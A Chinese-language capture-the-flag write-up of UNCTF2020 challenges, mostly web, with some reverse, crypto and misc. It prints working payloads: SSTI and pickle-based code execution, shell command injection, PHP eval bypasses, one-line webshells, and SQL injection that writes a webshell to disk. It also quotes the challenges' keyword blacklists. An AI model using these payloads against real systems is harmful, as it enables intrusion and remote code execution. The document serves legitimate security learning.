UNCTF2020记录+复现

前言

最后几天都没登进去。。。这验证码河里 🐎

Web

easy_ssrf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
    if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
        $url=file_get_contents($url);
        echo($url);
    }else{
        echo('error!!');
    }
}else{
    echo("error");
}
?>

本来以为是利用bypass技巧达到php伪协议嵌套一层unctf.com的,但是bypass不了,僵了好久。。。

后来突然想到之前做过一个利用file_get_contents会将不存在的协议名作为目录实现目录穿越,结果就成了,也是个hanhan,这么久才想出来。

payload

1
?url=unctf.com../../../../../flag

easyflask

      整个页面就一行a easy flask problem,first login as the admin,其他啥都没有,一开始我还以为是传统的GET传name=admin,结果不行。。。

      由于比赛通知中没有说不能扫目录,就扫一下,果然扫到了/login/register两个路由,注册admin帐号,抓包解密session,解密出来也没有什么特别的地方。

      突然一个手抖回到了/路由,回显admin login success and check the secret route /secret_route_you_do_not_know,访问返回you should 'guess' the secret number(不归路从这里开始)

GET传guess猜数字,直接开burp硬撸,撸不出来。
      然后发现当我们注册一个非admin用户的时候,我们登录再回到根目录路由,此时源码处会出现hint:

1
<p>the length of secret key is no more than 4 and the secret key are all lowercase letters and digits</p>

我本来还沾沾自喜,藏得挺深啊。然后就是一下午的爆破之路,一百多万的爆破量,愣是爆破不出来,绝了。

后来看着回显突然想到SSTI(我真TM是个hanhan),一试{{config}},果然。。。。

测了一下,过滤了'"[]_,上payload:

1
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(166)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').popen('cat flag.txt').read()

就一个模板注入,搞了这么多幺蛾子,要是不给那个非admin用户的hint,我说不定不会执着于去爆破。。。

ezfind

提示1:if(!(is_file($name)===false)){flag}else{no flag}

开局描述:

任务描述:我会查看你提交文件位置是否存在,如果你给我了一个存在的文件名,我就给你flag,注意:这个文件夹中只有两个文件,一个是保存flag的文件,另一个是index.php

这里ban了斜杠,所以应该只能猜当前目录下的文件,emmm,猜不出来,直接数组绕过判断

1
?name[]=123

babyeval

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
// flag在flag.php
if(isset($_GET['a'])){
    if(preg_match('/\(.*\)/', $_GET['a']))
        die('hacker!!!');
    ob_start(function($data){
                if (strpos($data, 'flag') !== false)
                return 'ByeBye hacker';
                return false;
                });
    eval($_GET['a']);
} else {
    highlight_file(__FILE__);
}
?>

ob_start介绍:
      此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

因此,这里的waf并不是过滤flag字符串,而是输出中不能含有flag字段。

于是使用

1
?a=echo`cat flag.php`;

但是还是回显ByeBye hacker,说明文件内容也存在flag字段,那么

1
?a=echo`cat flag.php|base64`;

得到内容的base64编码内容,解码获得flag。(PS:就算这里过滤了flag字段我们也可以通过通配符去读取flag.php文件)

easyunserialize

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

filter函数导致的反序列化字符逃逸实现password值覆盖。

payload

1
?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}}

ezphp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}

      这题目。。。有点意思,按道理弱类型比较时数字0能够==任意以字母开头字符串。但是由于一般传参时参数都会以字符串形式传递,因此这种弱类型基本不常见(反正我是没见过),而这里通过反序列化实现数字0的弱类型比较,这般操作实属罕见。

1
2
3
4
<?php
$data = array('username' => 0, 'password' => 0 );
echo serialize($data);
// a:2:{s:8:"username";i:0;s:8:"password";i:0;}

easy_upload

文件内容过滤:

perl|pyth|ph|auto|curl|base||>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

1
2
AddType application/x-httpd-p\
hp .she

绕过waf,然后上传后缀为she得文件,文件内容由于ph字符的过滤,我选择短标签<?=

1
<?=eval($_POST['cmd']);

蚁剑连接即可(Content-Type不要忘了改)

UN's_online_tools

咋回事?改题了?原来不是要先登陆吗,怎么变成ping了?

?url=127.0.0.1||less<index.php读源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
if (isset($_GET['url'])){
    $ip=$_GET['url'];
    if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
        die("<strong><center>非法字符</center></strong>");
    }
    if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
        die("<strong><center>非法字符</center></strong>");
    }
    $a = shell_exec("ping -c 4 ".$ip);
    echo($a);
}else{
    echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
}
?>

payload

1
2
127.0.0.1||ls%09/ # 列目录
127.0.0.1||/bin/ca?%09/f??? # 调用/bin目录下的cat命令读取/flag

easy_flask2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64

class Person:
    def __init__(self, name, is_admin):
        self.name = name
        self.is_admin = is_admin

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

app = Flask(__name__)
flag = "xxx"

@app.route("/")
def index():
    app.config["SECRET_KEY"] = config.secret_key
    return redirect("login")

@app.route("/login",methods=["GET","POST"])
def login():
    if request.form.get('name'):
        name = request.form.get('name')
        person = Person(name,0)
        pkl = pickle.dumps(person)
        pkl = base64.b64encode(pkl)

        resp = make_response(name)
        resp.set_cookie('pkl',pkl)

        session['name'] = name
        session['is_admin'] = 0
        return resp
    else:
        if session.get('name'):
            if b'R' in base64.b64decode(request.cookies['pkl']):
                return "RCE??"
            person = pickle.loads(base64.b64decode(request.cookies['pkl']))
            print(person.is_admin)
            if session.get('is_admin') == 1:
                #person = pickle.loads(base64.b64decode(request.cookies['pkl']))
                if person.is_admin == 1:
                    return "HHHacker!Here is Your flag : " + flag
            return render_template("index.html",name=session.get('name'))
        else:
            return render_template("login.html")

@app.route("/logout",methods=["GET","POST"])
def logout():
    resp = make_response("success")
    resp.delete_cookie("session")
    resp.delete_cookie("pkl")
    return resp

@app.route("/source")
def source():
    return open('code.txt','r').read()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=5000,debug=True)

      此题情况如从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势文章描述一致:通过重写find_class函数实现模块限制,那我们同样可以通过文章介绍的方法来完成:绕过c指令module限制:先读入,再篡改

原理在文章中也有叙说:

      通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!

      因此我们可以通过c操作符(即GLOBAL指令)覆盖secret_keyis_admin的值,通过条件判断拿到flag。

理想中的解法:
本来这种题目是可以通过pker工具完成的,根据下面的文件内容生成0号协议的payload

1
2
3
4
secret = GLOBAL('__main__','config')
secret.secret_key = 'tyskill'
person = INST('__main__','Person','tyskill',1)
return person

      然后通过命令python3 pker.py < text生成修改栈值的payload,但是发现不可用(咱也不知道,咱也不敢问)。

官方wp说0号协议不能用,需要3号协议,pker不能用了,就只能自己构造了。参考文章pickle反序列化初探里面介绍的opcode操作符尝试构造。

      除此之外,我们可以根据从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势里面的一个payloadb'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'进行修改,改出来的payload:

1
\x80\x03c__main__\nconfig\n}(Vsecret_key\nVtyskill\nub0c__main__\nPerson\n)\x81}(X\x04\x00\x00\x00nameX\x07\x00\x00\x00tyskillX\x08\x00\x00\x00is_adminK\x01ub.

      但是这个payload感觉不太好理解,主要是后面实例化Person的那部分构造起来可能不适合我这个fw(主要是不知道为什么删掉q\x00这个部分)。

构造过程一共可以分为两步:

  1. 创建空字典config,存入{'secret_key':'tyskill'}键值对

  2. 实例化Person类

第一步添加字典的过程就按照那个payload构造;

第二步实例化Person可以通过直接本地输出三号协议的序列化数据:\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.

然后拼起来(拼接方式在pickle反序列化初探中也有介绍),最终payload:

1
\x80\x03c__main__\nconfig\n}(Vsecret_key\nVtyskill\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.

然后先将pkl的值替换为我们生成的字符串,session不要动,因为此时secret_key还没有被修改,传了构造的session也没用。回到根目录,因为根目录会执行

1
app.config["SECRET_KEY"] = config.secret_key

将我们自定义的secret_key取代原先的值,这时我们就可以将构造的session和pkl一同用来访问/login路由,拿到flag。

exp(改自官方wp)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests, base64
pkl = b'\x80\x03c__main__\nconfig\n}(Vsecret_key\nVtyskill\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00tyskillq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.'
pkl = base64.b64encode(pkl).decode()
url = "http://8c4fa0fb-937d-49e9-b226-973a267de28f.node1.hackingfor.fun/"
#正常的cookie值
headers1 = {
    "Cookie":"pkl={}; session=eyJpc19hZG1pbiI6MCwibmFtZSI6InR5c2tpbGwifQ.X7YrXQ.FSuQAHZNRkMkkvCSCLGzkUJ8qYc".format(pkl)
}
#只修改了pkl的cookie值
headers2 = {
    "Cookie":"pkl={};session=eyJpc19hZG1pbiI6MCwibmFtZSI6InR5c2tpbGwifQ.X7YrXQ.FSuQAHZNRkMkkvCSCLGzkUJ8qYc".format(pkl)
}
#同时伪造了pkl和session的cookie
headers3 = {
    "Cookie":"pkl={};session=eyJpc19hZG1pbiI6MSwibmFtZSI6InR5c2tpbGwifQ.X7YqBw.qyZMFKWzpS9eqQc4C6MaAdAHd1Q".format(pkl)
}
 
data = {
    "name":"tyskill"
}

requests.post(url=url+"login", data=data)
requests.get(url=url+"login",headers=headers1) # 创建用户身份,保证cookie可用
requests.get(url=url+"login",headers=headers2)
requests.get(url) #访问根目录,重设 SECRET_KEY
ans = requests.get(url=url+"login",headers=headers3)
print(ans.text)

L0vephp

F12翻到最后有一串base85加密的字符串<!-- B4Z0-@:OCnDf, -->在线网站解密得get action

很明显,是要GET传参action,此时看到主页的Hint:读源码,伪协议直接读

1
2
3
?action=php://filter/string.rot13/resource=flag.php
# 官方
?action=php://filter/convert.quoted-printable-encode/resource=flag.php

读出来的在线网站解一下rot13就行。

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$action = $_GET['action'];
    if(isset($action))
    {
        if (preg_match("/base|data|input|zip|zlib/i",$action)){
            echo "<script>alert('Hacker!!!')</script>";
        }
        else {
            include("$action");
        }
    }
    else
    {
        include("footer.php");
    }
?>

flag.php

1
2
3
4
<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>

将hint十六进制解密得到1nD3x.php,访问

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];
$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
    die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/m', $code)) {
        die('WTF???');
    }
}

foreach ($blacklist2 as $blackitem) {
    if (preg_match ('/' . $blackitem . '/im', $code)) {
        die('Sry,try again');
    }
}
@eval($code);
?>

参考文章eval长度限制绕过 && PHP5.6新特性,姿势就来了。

phpinfo中发现远程文件包含开启,直接?code=include$_GET[1];&1=data://text/plain,<?php system('cat /f*');?>一把梭。

预期解是利用变长参数特性展开数组

payload

1
2
GET: ?1[]=test&1[]=system('ls')&2=assert
POST: code=usort(...$_GET);

自问自答:

  1. 为什么使用usort这个函数?

其他函数太长了,很容易就超出16的长度限制。

  1. 为什么usort(...$_GET)有三个点,是什么作用?

PHP函数usort是咋回事?还能当后门?文章中写道:
...运算符可以将数组或者可遍历的对象展开变为参数
不过必须是索引数组哦~~~

easyphp

提示1:/?source

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
    function fuxkSQL($iText)
    {
        $oText = $iText;
        $oText = str_replace('\\\\', '\\', $oText);
        $oText = str_replace('\"', '"', $oText);
        $oText = str_replace("\'", "'", $oText);
        $oText = str_replace("'", "''", $oText);
        return $oText;
    }
}
if (!function_exists('getVars')) {
    function getVars()
    {
        $totals = array_merge($_GET, $_POST);
        if (count($_GET)) {
            foreach ($_GET as $key => $value) {
                global ${$key}; // 变量覆盖
                if (is_array($value)) {
                    $temp_array = array();
                    foreach ($value as $key2 => $value2) {
                        if (function_exists('mysql_real_escape_string')) {
                            $temp_array[$key2] = fuxkSQL(trim($value2));
                        } else {
                            $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
                        }
                    }
                    ${$key} = $_GET[$key] = $temp_array;
                } else {
                    if (function_exists('mysql_real_escape_string')) {
                        ${$key} = fuxkSQL(trim($value));
                    } else {
                        ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
                    }
                }
            }
        }
    }
}

getVars();
if (isset($source)) {
    highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
    echo 'you can set config variables!!' . '</br>';
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
} else {
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key)) {
            echo ($GLOBALS[$key]) . '</br>';
        }
    }
}

条件判断

      d8b8caf4df69a81f2815pbcb74cd73ab一看就不是md5,所以正常来说md5($password) === $adminPassword永远不可能实现,但是函数内部使用了global关键词

global 关键词用于在函数内访问全局变量。

      此关键词让$key的作用域从函数内部扩大到了函数外,以至于我们可以传递$adminPassword实现变量覆盖,这样md5的等于就简单许多了。

接下来是sha1爆破,脚本如下:

1
2
3
4
5
6
7
8
9
<?php
for($i=0;$i<=99999999999;$i++){
    $x1=hash("sha1", '0e'.$i);
    if(substr($x1,0,2)==='0e'  and is_numeric($x1)){
        echo '0e'.$i; // 0e1290633704
        break;
    }
}
?>

payload

1
?adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&source

php复杂变量

1
2
3
4
5
foreach (array_keys($GLOBALS) as $key) {
    if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
        @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
    }
}

      从条件判断中我们可以知道传参的变量名需要满足/var\d{1,2}/的条件,即var后加一到两个数字,且传递值的长度需要小于12。

      由于前面函数的处理,我们无法传递引号闭合eval,需要使用别的方法。发现$key变量前加了\$,我们可以通过这个$配合php的变量定界符${}实现命令执行。

      因为直接${$a}中$a只是一个变量,不会拥有函数的功能,实现这个功能需要$a()的结构,所以这里需要上传两个参数,分别负责函数名调用函数

payload

1
?adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1=phpinfo&var2={$var1()}&source

checkin-sql

提示1:flag不在数据库中。。

waf:

. | select | updatexml | sleep | if | alter | rename | where | update | insert | delete | load_file以及一些不会有明确回显hacker的关键字

堆叠。。。为什么我比赛的时候没有回显?

1';show databases;#得到数据库

1';show tables;#得到表

0xDktb words

1';show columns from 0xDktb;#发现flag字段,1';prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;#读取获得

flag{flag_1s_not_here!}

假flag,结合hint,判断flag是目录文件,直接写shell:

1
2
// select "<?php @eval($_POST['cmd'])?>" into outfile '/var/www/html/eval.php'
1';prepare execsql from 0x73656c65637420223c3f70687020406576616c28245f504f53545b27636d64275d293f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f6576616c2e70687027;execute execsql;#

蚁剑连接,根目录下找到flag。

俄罗斯方块人大战奥特曼

题目描述:wasm

源码发现hint

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!--简易操作说明
上下左右
Z 换方向
懂得都懂
不懂的群里阿巴阿巴

分数到了999还是9999还是99999来着就有flag,具体我也忘记了,反正自己玩吧!!!
我觉得这次比赛最大的意义就在于能不能让选手学到新东西
玩的开心记得一键三连
-->

玩了几把,最多才到九千六百多,玩不下去了(膜一下那位39万多分的带佬),转去看源码的js,发现一处信息泄露

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
window.addEventListener('DOMContentLoaded', async () => {
    const go = new Go();
    const name ="blocks";
    const curWwwPath=window.document.location.href;
    const pathName=window.document.location.pathname;
    const pos=curWwwPath.indexOf(pathName);
    const localhostPath=curWwwPath.substring(0,pos);
    let url = `${localhostPath}/${name}.wasm.gz`; // 信息泄露
    ...
});

下载源码文件,是一个wasm后缀的文件

WebAssembly(缩写为Wasm)是基于堆栈的虚拟机的二进制指令格式。Wasm被设计为可编程C / C ++ / Rust等高级语言的可移植目标,可在Web上部署客户端和服务器应用程序。

感觉不妙,这道题不会是二进制题目吧?再看看其他js文件里面都没有关于游戏积分规则的内容,懂了,这就换方向。

在线反编译wasm2wat,看不懂。使用文档中推荐的工具--wabt

1
./wasm2c blocks.wasm -o test.c

参考一种Wasm逆向静态分析方法,我们可以先将反编译出的c文件使用gcc编译后ida分析,将之前反编译出来的test.ctest.h,以及wabt项目wasm2c文件夹内的wasm-rt.hwasm-rt-impl.cwasm-rt-impl.h三个文件放到同一个文件夹,然后gcc编译

1
gcc -c test.c -o test.o

逆向未果,终究是我错付了...

预期解

真的是二进制。。。告辞

非预期解

下载wasm文件,记事本打开搜索flag字符串,找到

THIS IS YOUR FLAG :

0h0hy0ug4t1t.html

访问获得flag。

Reverse

re_checkin

x64debug打开,找到flag(注意大小写)

反编译

1
python pyinstxtractor.py run.exe

通过pyinstxtractor.py获得拆解的pyc文件,然后使用uncompyle6反编译run.pyc(反编译前修复一下字节码,照着struct.pyc的前八个字节码修改就行)。

1
uncompyle6.exe run.pyc

获得run.py

1
2
3
4
5
6
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
    flag += chr(ord(str2[i]) + i)

print(flag)

运行代码获得flag。

Crypto

easy_rsa

已知p、q、c,常见题型,直接脚本一把梭

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import gmpy2
a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
p, q = (a + b) // 2, (a - b) // 2
n = p * q
e = 65537
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

简单的RSA

低解密指数攻击,CTF-RSA收集了解密脚本,脚本解出d之后直接m一把梭。

Misc

baba_is_you

查看图片hex值,最后面发现一个视频地址https://www.bilibili.com/video/BV1y44111737,评论区找到flag。

爷的历险记

题目描述:
      RPG小游戏
      爷把flag弄丢了, 你可以帮他找回来吗

开宝箱,打怪,买hint:

Hint1:爷经常在书房的花盆底下做奇奇怪怪的事

之前解出来的Morse,开左边地图的宝箱,得到屠龙刀,一刀999,是兄弟就来砍。

Hint2:rpgsave是什么文件

官方鼓励修改器??改金额,导出文件覆盖存档,进入游戏直接买Hint3出flag。

躲猫猫

后缀改为zip,在xl/shareStrings.xml找到base64加密字符,解密得到flag。

YLB绝密文件

wireshark打开导出文件列表,发现有pypyczip文件,但是以php后缀上传,保存修改后缀。

py文件是加密脚本,pyc文件保存了密钥,zip中是保存加密flag的文件 (pyc无法通过反编译获取key,但可以通过分析数据包内容获得key)

加密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#coding:utf-8
import base64
from secret import key
# key = YLBSB?YLBNB!
file = open("YLBSB.docx", "rb")
enc = open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
    d = chr(c ^ ord(key[count % len(key)]))
    enc.write(d.encode())
    count = count + 1

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import base64
key = 'YLBSB?YLBNB!'
file = open("YLBSB.xor", "rb").read()
enc = open("YLBSB.docx", "wb")
count = 0
content = b''
for d in file:
    c = chr(d ^ ord(key[count % len(key)]))
    content += c.encode()
    count += 1
enc.write(base64.b64decode(content))
file.close()
enc.close()

也就吃个饭洗个澡打会游戏的功夫。。。

题目描述:我瞎了看不到flag了

将光标停在第一个字符前发现是第9列,说明这里存在隐写--零宽隐写

本来看这个题目名字就想到是零宽隐写的,但是存的解密网站屁反应没有,还以为不是。。。😓(这个隐写真迷,每个网站加密出来的都不一样,导致解密只能在对应网站解)

mouse_click

题目描述:flag格式为unctf{*****},******中的字母统一为大写

解题过程参考CTF流量分析常见题型(二)-USB流量

最后做出的图需要经过镜像翻转,然后记录flag。

网络深处1

在线网站解拨号音,得到电话号码

15975384265

      根据txt的提示# 电话号码就是压缩包密码解开压缩包,通过audacity打开wav,切换到频谱,出现内容我是tupper,搜索引擎查找tupper,在Tupper自我指涉公式生成器文章中有详细说明。

      在线网站Tupper's Self-Referential Formula Playground解密,生成的图像再上下颠倒一下即为flag。

被删除的flag

记事本打开,搜索flag字符串。

阴阳人编码

整段加密文字只有三种就这.就这¿不会吧!,联想到0ok!,脚本替换,在线网站解密。

撕坏的二维码

直接QR Research扫出flag。

你能破解我的密码吗

shadow文件 是linux系统中记载root密码的保密性文件,可以用 john(kali自带) 来破解。

1
.\john.exe --show shadow

获得guguguguji密码

guguguguji:123456:18556:0:99999:7:::

123456md5加密,外套unctf{}。

ET-msg

提示1:阿雷:Arecibo
提示2:30 80 7

转30*80图片

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from PIL import Image
width, height = 30, 80
pic = Image.new("RGB",(width, height))
with open('open.txt', 'r') as f:
    char = f.read()
print(len(char))
i=0
for y in range(0, height):
    for x in range(0, width):
        if(char[i] == '0'):
            pic.putpixel([x,y],(0,0,0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
# pic.show()
pic.save("flag.jpg")

然后七进制将大括号内的符号转为字符串。

PS:图片上明明是大写UNCTF,提交时小写才对。。。

倒影

010打开,最后有一串base64字符,解密后发现从后向前看是zip的hex值,直接在线网站倒序,保存为zip,然后纯数字爆破出密码(略脑洞),得到flag。

EZ_IMAGE

拼图题,使用自动化姿势(montage命令+gaps)完成。

详细安装过程移步unctf2020 部分简单题题解

命令montage *.jpg -tile 15x15 -geometry +0+0 1.jpg拼合图像, gaps --image=1.jpg --generations=40 --population=225 --size=60 --save还原图像。

参考

unctf2020 部分简单题题解

UNCTF2020

官方wp